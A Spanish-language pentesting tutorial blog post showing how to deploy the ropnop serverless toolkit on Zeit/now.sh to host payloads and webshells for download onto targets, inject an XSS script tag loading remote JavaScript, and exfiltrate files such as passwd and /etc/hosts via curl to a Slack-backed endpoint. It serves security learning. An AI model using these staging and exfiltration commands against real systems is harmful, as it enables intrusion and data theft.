
Artículo · Análisis de Vulnerabilidades
Herramientas Serverless para Pentesting
En múltiples ocasiones nos ha tocado realizar pensteting pero no tenemos a mano un kali virtualizado o alguna distro de pentest de su elección, entonces usamos a manos servicios diversos que brindan información rápida para análisis de algún objetivo por ejemplo:
- https://hackertarget.com
- https://synapsint.com
- http://desenmascara.me
- https://mxtoolbox.com
- https://dnsdumpster.com
- http://whois.domaintools.com
- https://pentest-tools.com
- https://wpsec.com/
Para entrar en contexto debemos comprender primero ¿Qué es Serverless?
“Serverless es un tipo de arquitectura donde los servidores (físicos o en la nube) dejan de existir para el desarrollador y en cambio el código corre en ambientes de ejecución que administran proveedores como Amazon, Google, IBM, etc.”
Por mencionar algunos, no quiero extender el listado de herramientas que podríamos tener, la idea fundamental resulta en tener que iniciar un vps dedicado, en algún proveedor e instalarle las herramientas o tener que iniciar uno preparado que tenga los contenedores con todas el arsenal que utilicemos, estos son minutos que podemos estar aprovechando para algo un poco más beneficioso como es seguir estudiando algo nuevo.
Como punto a observar sería verificar la infraestructura no es propia, por lo que siempre esta el riesgo de filtrar información confidencial, sin embargo para efectos educativos no existe mayor problema, faltaría si contamos con la infraestructura para contar con nuestra propio datacenter y no correr el riesgo de alguna fuga de información.
Procedemos primero a investigar algunas plataformas para serverles la más conocida por obvias razones Amazon Lambda, pero usaremos una alternativa llamada Zeit.co solo necesitamaos asociar nuestra cuenta de gihub o gitlab o podemos crear una nueva cuenta si lo deseamos.
En mac
$ brew install node
En linux
sudo apt install nodejs
Una vez hemos creado la cuenta vamos a ir a la imagen al lado del perfil, donde aprece la opción coman-line, nos aparece unas indicaciones para instalar npm, pero debemos tener instalado node
Esta consola permitara trabajar directamente a nuestra cuenta de Zeit desde nuestra terminal y introducimos nuestras credenciales de Zeit y nos llegara un correo de confirmación
$ now login
Vamos a clonar el repositorio https://github.com/ropnop/serverless_toolkit
$ git clone https://github.com/ropnop/serverless_toolkit.git
cd serverless_toolkit
Creamos un pequeño servidor de archivos, el mismo tiene como finalidad permitirnos subir alguna shell para luego descargarla en nuestro objetivo sin tener que tener un servidor para datos o crear un servidor web para este objetivo.
Accedemos al directorio static_example
$ cd static_example
Publicamos el servidor
$ now –public
Procedemos a seleccionar las opciones por defectos
La dirección que genera va tener la info de los scripts que necesitamos subir y tenemos un servidor estatico que levantamos en menos de 1 minuto, para descargar payloads o webshells durante nuestro pentesting.
Podemos probarlo en el juego https://xss-game.appspot.com/
<script src="https://estatico.now.sh/alert.js"></script>
Probamos ahora el servicio de databump esta función toma datos enviados en una solicitud POST y lo escribe a un archivo en slack, usando el Slack Files Upload API. Necesitamos agregar dos secretos uno es el token de una app de slack y el otro es el canal en el siguinte enlace encontrarán como crear una app de slack https://x-team.com/blog/slack-app-step-by-step/
$ now secrets add slack-token "xxxx-token-here"
$ now secrets add slack-channel "meterpreter"
Hacemos el deploy al servidor
$ now
Obtenemos la siguiente dirección para el datadump
https://datadump-slack-taupe.now.sh
Podemos probar como exfiltra información si tenemos una shell a el canal de slack
$ curl --data-binary @passwd https://datadump-slack-taupe.now.sh/passwd_file
Ahora observamos los datos que enviamos en el archivo super secreto
Otra herramienta que es de mucha utilidad es SSRF, este ataque permite comprobar esta vulnerabilidad para ello accedemos al directorio y creamos un secreto para configurar las notificaciones a slack, esto dentro del repositorio principal.
$ cd ssrf_slack
Necetamos crear el secreto
$ now secret add slack-webhook-ssrf https://hooks.slack.com/services/YOUR_WEBHOOK_HERE
Implementamos el script
$ now
Para mandarlo a Producción
$ now –prod
Enlace de la función tienen en producción
https://ssrf-slack-lemon.now.sh
Notificación de Prueba
Notificación recibida al entrar al link desde el servidor
Probamos el envio de noticiaciones
$ curl -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Safari/605.1.15" -X POST --data "bodydata=Dojo Panamá" https://ssrf-slack-lemon.now.sh/testing\?hello\=world
Recibimos la notificación
$ curl -X POST --data-binary "@/etc/hosts" https://ssrf-slack-lemon.now.sh
Hemos podido observer diversas herramientas que podemos utilizer durante un pentesting, sin tener que iniciar un vps que puede costar un poco más, unas simples funciones que solamente debemos implementar para una prueba rápida sin necesidad de desperciar recursos para fases sencillas o con un fin especifico, sin el costo que implicaría tener nuestra propia vps. Existen otros scripts que permiten implementar nmap o massdns para hacer el escaneo de puertos y servicios, sin embargo no están funcionales con este proveedor pero para próximas entradas, haré una demostración con otros proveedores de serverles.
Referencias
https://speakerdeck.com/ropnop/pentesting-with-serverless-infrastructure?slide=8
https://x-team.com/blog/slack-app-step-by-step/
https://www.openfaas.com/blog/google-form-response/
https://medium.com/@PamRucinque/qu%C3%A9-es-eso-de-serverless-f4f6c8949b87
https://www.mdsec.co.uk/2018/09/serverless-red-team-infrastructure-part-1-web-bugs/
https://www.elladodelmal.com/2015/04/ssrf-server-side-request-forgery-xspa.html
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Penetration Testing Student.

Escrito por
José MorenoPurple Team
Jugador de HTB, script kiddie, apasionado por la seguridad informática especialmente red team, Miembro Fundador Asociación Panameña de Peritos en Informática Forense, Purple-Team UTP.



